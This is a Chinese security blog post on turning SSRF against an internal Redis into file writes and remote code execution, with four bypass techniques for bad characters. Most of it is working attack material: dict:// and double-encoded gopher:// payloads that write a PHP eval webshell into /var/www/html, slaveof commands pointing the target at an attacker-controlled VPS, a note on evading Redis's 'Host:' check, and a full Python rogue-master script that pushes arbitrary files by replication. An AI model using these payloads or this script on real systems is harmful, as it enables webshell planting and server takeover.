用dict协议通过SSRF间接打Redis的时候,数据中存在:'等特殊字符会导致set失败,可以通过位运算、gopher协议、主从同步数据、主从同步文件等方式躲开坏字符的坑。

位运算

对存在特殊字符的数据进行位运算,再在目标Redis上通过位运算将数据还原回来。举个栗子

  1. 利用抑或的特性先set两个不会与dict协议冲突的字符串

dict://127.0.0.1:6379/set:c:"|\x7f}%6!,hd\x1f\a\x05\x14\x1byqq\x1di{\x7f~"

dict://127.0.0.1:6379/set:b:'@@@@@@@@@@@@@@@@@@@@@@'

  1. 再在目标上还原

dict://127.0.0.1:6379/bitop:xor:a:b:c

  1. 设置RDB文件的保存路径为Web根目录

dict://127.0.0.1:6379/config:set:dir:/var/www/html/

  1. 设置RDB文件的保存文件名

dict://127.0.0.1:6379/config:set:dbfilename:tmp.php

  1. 持久化保存

dict://127.0.0.1:6379/bgsave

Gopher

对redis-cli的命令数据抓包,利用gopher协议封装后重放给目标Redis。由于Redis的授权认证只有简单的一串*2%0A%244%0Aauth%0A%248%0Afoobared,且可以通过管道操作一次同时传输多条命令,因此这个方法还可以用来打知道密码的内网Redis。

  1. 监听环回口6379端口并抓包

sudo tcpdump port 6379 -i lo -w redis.pcap

  1. 用gopher协议编码封装

gopher://127.0.0.1:6379/_%244%0d%0aauth%0d%0a%248%0d%0afoobared%0d%0a*3%0d%0a%243%0d%0aset%0d%0a%241%0d%0aa%0d%0a%2422%0d%0a%3C%3F%3Deval(%24_GET%5B911%5D)%3B%3F%3E%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%243%0d%0adir%0d%0a%2414%0d%0a%2Fvar%2Fwww%2Fhtml%2F%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%2410%0d%0adbfilename%0d%0a%247%0d%0atmp.php%0d%0a*1%0d%0a%246%0d%0abgsave

  1. 对数据体URL编码后发给目标

?url=gopher://127.0.0.1:6379/_%25244%250d%250aauth%250d%250a%25248%250d%250afoobared%250d%250a*3%250d%250a%25243%250d%250aset%250d%250a%25241%250d%250aa%250d%250a%252422%250d%250a%253C%253F%253Deval(%2524_GET%255B911%255D)%253B%253F%253E%250d%250a*4%250d%250a%25246%250d%250aconfig%250d%250a%25243%250d%250aset%250d%250a%25243%250d%250adir%250d%250a%252414%250d%250a%252Fvar%252Fwww%252Fhtml%252F%250d%250a*4%250d%250a%25246%250d%250aconfig%250d%250a%25243%250d%250aset%250d%250a%252410%250d%250adbfilename%250d%250a%25247%250d%250atmp.php%250d%250a*1%250d%250a%25246%250d%250abgsave

如果嫌麻烦也可以用gopherus交互式生成payload,同样需要二次编码后再打,auth开头的验证信息也要手动加一下

主从同步数据

将数据通过redis-cli写入VPS的Redis,让目标通过主从同步加载数据。

  1. 在VPS上通过redis-cli写入数据

  2. 在目标上设置主从同步

dict://127.0.0.1:6379/slaveof:1.1.1.1:6379

  1. 设置RDB文件的保存路径为Web根目录

dict://127.0.0.1:6379/config:set:dir:/var/www/html/

  1. 设置RDB文件的保存文件名

dict://127.0.0.1:6379/config:set:dbfilename:tmp.php

  1. 持久化保存

dict://127.0.0.1:6379/bgsave

  1. 断开主从同步

dict://127.0.0.1:6379/slaveof:no:one

主从同步文件

r35tart师傅将Redis主从同步RCE的脚本 RedisWriteFile 改了一下实现了无杂质写文件,这是一个主动连目标Redis打的脚本。

脚本耦合度不高只要把一些主动打的功能删掉就可以了,然后利用SSRF手动发包即可。

  1. 准备要无损写的文件,在VPS上执行脚本

python3 ssrf-redis-writefile.py --lhost=1.1.1.1 --lport=6379 --lfile=test.txt

  1. 设置RDB文件的保存路径为Web根目录

dict://127.0.0.1:6379/config:set:dir:/var/www/html/

  1. 设置RDB文件的保存文件名

dict://127.0.0.1:6379/config:set:dbfilename:tmp.php

  1. 在目标上设置主从同步

dict://127.0.0.1:6379/slaveof:1.1.1.1:6379

  1. 断开主从同步

dict://127.0.0.1:6379/slaveof:no:one

如果要用过认证或者是希望一把梭打完,就抓下包封装下gopher协议,道理是一样的。

但是在Redis中,为了防止http协议对Redis端口的攻击,它如果检测到”POST”或者”Host:”,就会中断这次连接,并且在日志中留下这行,我们可以通过添加%00绕过
但是Redis是一边判断一边逐行执行,所以只要在读到”Host:”之前把需要的操作做完即可,所以不加也没关系

  • 附脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
#!/usr/bin/env python3

import socket
from time import sleep
from optparse import OptionParser

CLRF = "\r\n"

"""
Author: hosch3n
Reference: https://github.com/r35tart/RedisWriteFile/
"""

def decode_cmd(cmd):
if cmd.startswith("*"):
raw_arr = cmd.strip().split("\r\n")
return raw_arr[2::2]
if cmd.startswith("$"):
return cmd.split("\r\n", 2)[1]
return cmd.strip().split(" ")

def info(msg):
print("\033[1;32;40m[info]\033[0m {}".format(msg))

def din(sock, cnt=4096):
global verbose
msg = sock.recv(cnt)
if verbose:
if len(msg) < 1000:
print("\033[1;34;40m[->]\033[0m {}".format(msg))
else:
print("\033[1;34;40m[->]\033[0m {}......{}".format(msg[:80], msg[-80:]))
return msg.decode('gb18030')

def dout(sock, msg):
global verbose
if type(msg) != bytes:
msg = msg.encode()
sock.send(msg)
if verbose:
if len(msg) < 1000:
print("\033[1;33;40m[<-]\033[0m {}".format(msg))
else:
print("\033[1;33;40m[<-]\033[0m {}......{}".format(msg[:80], msg[-80:]))


class RogueServer:
def __init__(self, lhost, lport):
self._host = lhost
self._port = lport
self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self._sock.bind(('0.0.0.0', self._port))
self._sock.listen(10)

def close(self):
self._sock.close()

def handle(self, data):
cmd_arr = decode_cmd(data)
resp = ""
phase = 0
if cmd_arr[0].startswith("PING"):
resp = "+PONG" + CLRF
phase = 1
elif cmd_arr[0].startswith("REPLCONF"):
resp = "+OK" + CLRF
phase = 2
elif cmd_arr[0].startswith("PSYNC") or cmd_arr[0].startswith("SYNC"):
resp = "+FULLRESYNC " + "Z"*40 + " 1" + CLRF
resp += "$" + str(len(payload)) + CLRF
resp = resp.encode()
resp += payload + CLRF.encode()
phase = 3
return resp, phase

def exp(self):
cli, addr = self._sock.accept()
while True:
data = din(cli, 1024)
if len(data) == 0:
break
resp, phase = self.handle(data)
dout(cli, resp)
if phase == 3:
break


def runserver(lhost, lport):
try:
rogue = RogueServer(lhost, lport)
rogue.exp()
sleep(3)
rogue.close()
except Exception as e:
print("\033[1;31;m[-]\033[0m 发生错误! : {} \n[*] Exit..".format(e))

if __name__ == '__main__':
parser = OptionParser()
parser.add_option("--lhost", dest="lh", type="string",
help="rogue server ip", metavar="LOCAL_HOST")
parser.add_option("--lport", dest="lp", type="int",
help="rogue server listen port, default 6379", default=6379,
metavar="LOCAL_PORT")
parser.add_option("--lfile", dest="lfile", type="string",
help="Local file that needs to be written", metavar="Local_File_Name", default='dump.rdb')
parser.add_option("-v", "--verbose", action="store_true", default=False,
help="Show full data stream")

(options, args) = parser.parse_args()
global verbose, payload, filename
localfile = options.lfile
verbose = options.verbose
payload = open(localfile, "rb").read()

try:
runserver(options.lh, options.lp)
except Exception as e:
info(repr(e))

参考链接

一次“SSRF–>RCE”的艰难利用

浅析SSRF认证攻击Redis

通过 SSRF 操作 Redis 主从复制写 Webshell

浅析Redis中SSRF的利用

2020 GACTF web